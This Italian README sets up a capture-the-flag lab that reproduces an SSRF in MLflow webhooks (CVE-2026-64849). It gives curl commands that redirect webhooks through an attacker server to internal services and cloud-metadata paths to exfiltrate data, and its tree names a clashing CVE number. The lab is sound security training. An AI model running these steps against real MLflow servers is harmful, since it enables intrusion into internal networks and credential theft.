
este laboratorio può essere buono o cattivo, chiedi all'IA, sto testando ma dovrebbe funzionare hahahah
CVE-2026-64849 · MLflow < 3.15.0 · Server-Side Request Forgery (SSRF)
Laboratorio pratico che riproduce la CVE-2026-64849: una vulnerabilità di
tipo SSRF in MLflow causata da un difetto TOCTOU (Time-of-Check /
Time-of-Use) nella gestione dei webhook. MLflow valida l'URL originale del
webhook ma segue i redirect HTTP (302) senza ri-validare la destinazione,
consentendo a un attaccante senza autenticazione di raggiungere servizi interni
a cui non dovrebbe avere accesso (internal-service:8888).
Uso riservato: materiale da laboratorio, esclusivamente per reti e ambienti autorizzati. Vedere Avviso legale.
| Attributo | Valore |
|---|
| Vulnerabilità | CVE-2026-64849 — SSRF via Webhook Redirect Bypass |
| Componente interessato | MLflow Tracking Server (< 3.15.0) |
| Versione del lab | MLflow 3.13.0 (non modificato, via pip install) |
| Causa principale | TOCTOU: valida l'URL, segue il 302 senza ri-validare |
| Vettore | HTTP; senza autenticazione |
| Severità dichiarata | CRITICA (CVSS 9.3) — secondo il banner dell'exploit del lab |
| Risultato | Accesso a servizi interni, furto di credenziali, port scanning |
| Durata stimata | 15–20 minuti |
| Livello | Intermedio (Web App Security / Offensive Security) |
MLflow consente di registrare webhook che attivano richieste HTTP in risposta a eventi (dati di modelli, esperimenti, ecc.). Prima di salvare l'URL viene applicata una validazione (schema, IP private, metadata IP). Il difetto si verifica perché:
3xx, la libreria
requests segue automaticamente il redirect e non ri-validano mai l'URL
di destinazione.L'attaccante controlla il primo salto (un server che risponde 302 verso un
servizio interno) e MLflow funge da proxy verso la rete interna.
Vedere l'analisi tecnica completa in EXPLOITATION_GUIDE.md §6.
Al termine del lab lo studente sarà in grado di:
/test ed
esfiltrazione del servizio interno.Pubblico: studenti e professionisti della sicurezza offensiva, pentester, revisori della sicurezza delle applicazioni e sviluppatori che usano MLflow.
Requisiti software:
| Strumento | Versione minima |
|---|---|
| Docker + Docker Compose | Docker 20.x / Compose v2 |
curl | — |
jq | 1.6+ |
bash | — |
Non sono richieste credenziali né autenticazione in MLflow (l'attacco è unauthenticated). Non è necessario l'accesso alla rete interna: il lab la fornisce.
host rete interna Docker (lab_network)
┌──────────────────────────────┐ ┌────────────────────────────────────────────────┐
│ attaccante (curl / bash) │ │ │
│ │ │ │ mlflow-vulnerable attacker_server │
│ ▼ │ │ (5000, MLflow 3.13.0) (8080, responder 302) │
│ http://localhost:5000 │ │ │ webhook URL ▲ │
│ http://localhost:8080 │ │ ▼───────────────────────┘ │
│ http://localhost:8888 ✗ │ │ │ 302 Location: internal-service │
│ │ │ ▼ (SSRF, segue il redirect) │
│ │ │ internal-service (8888) ← SENZA porte verso │
│ │ │ "/admin/secret" l'host │
│ │ └───────────────────────────────────────────────┘
└──────────────────────────────┘
| Componente | Porta | Ruolo nel lab | Modificato? |
|---|---|---|---|
mlflow-vulnerable | 5000 | Vittima / client vulnerabile (MLflow 3.13.0 stock) | No |
attacker-server | 8080 | Server dell'attaccante: /webhook → 302, /redirect?url=, /metadata, dashboard | Solo do_HEAD |
internal-service | 8888 | Vittima in lab_network; /admin/secret e /api/internal/config | No |
Dettaglio di integrità: il servizio vulnerabile e il servizio interno non sono stati modificati. Vedere EXPLOITATION_GUIDE.md §14.
cd mlflow-ssrf-lab
bash run_lab.sh start # avvia i 3 container e attende MLflow
bash run_lab.sh exploit # sfrutta automaticamente (SSRF → flag del Livello 1)
Demo guidata passo dopo passo (menu interattivo):
bash manual_exploitation_interactive.sh
🏁 Modalità CTF (risoluzione MANUALE): il lab è una sfida a livelli. Ogni
flag ti lascia l'indizio del livello successivo, così arrivare a ogni flag "ha
senso". E il bello è farlo a mano: ctf_lab.sh non sfrutta al posto tuo,
ti guida e valida solo il tuo flag:
bash ctf_lab.sh # menu interattivo del CTF
bash ctf_lab.sh nivel 1 # istruzioni + indizio del livello (comandi da ESEGUIRE TU MANUALMENTE)
bash ctf_lab.sh flag '<flag>' # valida il flag che hai esfiltrato e decodificato (+pts)
bash ctf_lab.sh status # livelli completati + punteggio (235 pts, senza mostrare i flag)
bash ctf_lab.sh hint 2 # indizio di un livello
bash ctf_lab.sh reset # cancella i progressi
Riferimenti dello script run_lab.sh:
bash run_lab.sh start # start (default) + status endpoint
bash run_lab.sh exploit # esegue exploit.py dentro il container mlflow
bash run_lab.sh manual # mostra i comandi curl passo dopo passo
bash run_lab.sh logs # segue i log in tempo reale
bash run_lab.sh stop # ferma i container
bash run_lab.sh clean # ferma ed elimina i dati del lab
Tutte le chiamate a
/testrichiedono l'headerContent-Type: application/json; senza di esso, MLflow 3.13 risponde400 Bad Request.
# 1. Creare il webhook che punta al server dell'attaccante (reindirizza alla root del portale interno, Livello 1)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
-H "Content-Type: application/json" \
-d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
| jq -r '.webhook.webhook_id')
# 2. Attivare /test → MLflow valida l'URL, segue il 302 fino al servizio interno
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}'
# 3. Estrarre i dati esfiltrati (annidati in result.response_body)
curl -s -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}' \
| jq -r '.result.response_body | fromjson'
Risultato atteso del passo 3 (Livello 1 del CTF):
{
"service": "internal-admin-portal",
"banner": "Portale amministrativo interno — raggiungibile solo dalla rete interna",
"nivel": 1,
"flag_enc": "ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ==",
"flag_decoding": "echo ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ== | base64 -d",
"pista": "Il portale espone risorse sotto /admin/ e /api/. Cerca credenziali di amministratore."
}
Il flag viaggia cifrato (flag_enc) e la risposta stessa ti fornisce il
comando per decodificarlo (flag_decoding). L'obiettivo è esfiltrarlo via SSRF
e decodificarlo; il suo pista ti conduce al
Livello 2. Il dettaglio passo dopo passo, l'analisi
del bug e la remediation sono in EXPLOITATION_GUIDE.md.
Il lab è un CTF a livelli progressivi: ogni flag lascia un pista che
conduce alla destinazione successiva, così arrivare a ogni flag ha senso.
Tutti i livelli si risolvono con la stessa tecnica di base (SSRF via redirect),
aumentando la difficoltà della tecnica e della scoperta.
| Livello | Tecnica / scoperta | Destinazione (SSRF) | Flag | Punti |
|---|---|---|---|---|
| 1 | Redirect di base | internal-service:8888/ | base64 | 10 |
| 2 | Enumerazione di /admin/ | internal-service:8888/admin/secret | hex | 25 |
| 3 | Enumerazione di /api/ | internal-service:8888/api/internal/config | base64 | 40 |
| 4 | Cloud metadata (IMDS) | internal-service:8888/latest/meta-data/... | base64 + rev | 60 |
| 5 (FINAL) | Blind SSRF + scoperta del servizio nascosto sulla porta 8889 | internal-service:8889/admin/final | XOR + base64 | 100 |
I flag viaggiano cifrati nel campo
flag_encdella risposta e ogni risposta includeflag_decoding(il comando esatto per decodificarlo). Il flag in chiaroflag{...}non appare in nessuno script né doc: va esfiltrato via SSRF e decodificato (gli script automatici non mostrano i flag).
Regola del lab: flag solo per SSRF riuscito (esfiltrazione reale di
dati dal servizio interno via redirect). Ciò che non è SSRF o non è
riproducibile nel lab non dà flag (p. es. il /metadata diretto
dell'attacker, DNS rebinding, tunnel whcli, scan cieco senza esfiltrazione).
Giocare: bash ctf_lab.sh (menu interattivo). Risoluzione manuale per
livelli in REDTEAM_GUIDE.md (esercizio offensivo comando per
comando) e EXPLOITATION_GUIDE.md (procedura tecnica
completa).
Durante il consolidamento del lab sono state applicate le seguenti correzioni, già verificate e riflesse in tutti i comandi della documentazione:
| # | Correzione | Impatto |
|---|---|---|
| 1 | POST /test ora invia Content-Type: application/json (e -d '{}') | Elimina il 400 Bad Request di MLflow 3.13 e l'errore jq: null nell'estrazione di response_body |
| 2 | attacker_server.py supporta il metodo HEAD (do_HEAD) | curl -I .../webhook restituisce 302 Found invece di 501 Unsupported method |
| 3 | Uso della API reale POST /api/2.0/mlflow/webhooks | Evita il 405 di route inesistenti (/webhooks/create) |
CVE-2026-29000-poc-lab/
├── README.md ← Questo file (indice / copertina del lab)
├── REDTEAM_GUIDE.md ← Esercizio manuale in chiave red team: recon → ipotesi → exploit
├── EXPLOITATION_GUIDE.md ← Procedura completa del lab (SSRF, varianti, integrità)
├── manual_exploitation_interactive.sh ← Demo interattiva passo dopo passo (menu)
└── mlflow-ssrf-lab/ ← Codice e orchestrazione del lab
├── docker-compose.yml ← 3 container (mlflow, attacker, internal)
├── exploit.py ← Exploit automatizzato (eseguito dentro il container)
├── attacker_server.py ← Server dell'attaccante (302 configurabile)
├── internal_service.py ← Servizio interno "protetto" (portale 8888 + servizio nascosto 8889)
├── ctf_lab.sh ← Guida manuale del CTF (istruzioni + indizi + validatore di flag)
├── run_lab.sh ← start / exploit / manual / logs / stop / clean
└── mlflow_data/ ← Dati generati (DB sqlite, artefatti)
lab_network
di Docker; non espone il servizio interno all'host.exploit.py è uno strumento di verifica del lab e viene eseguito
all'interno del container di MLflow, sulla rete interna simulata (vedere
EXPLOITATION_GUIDE.md §14).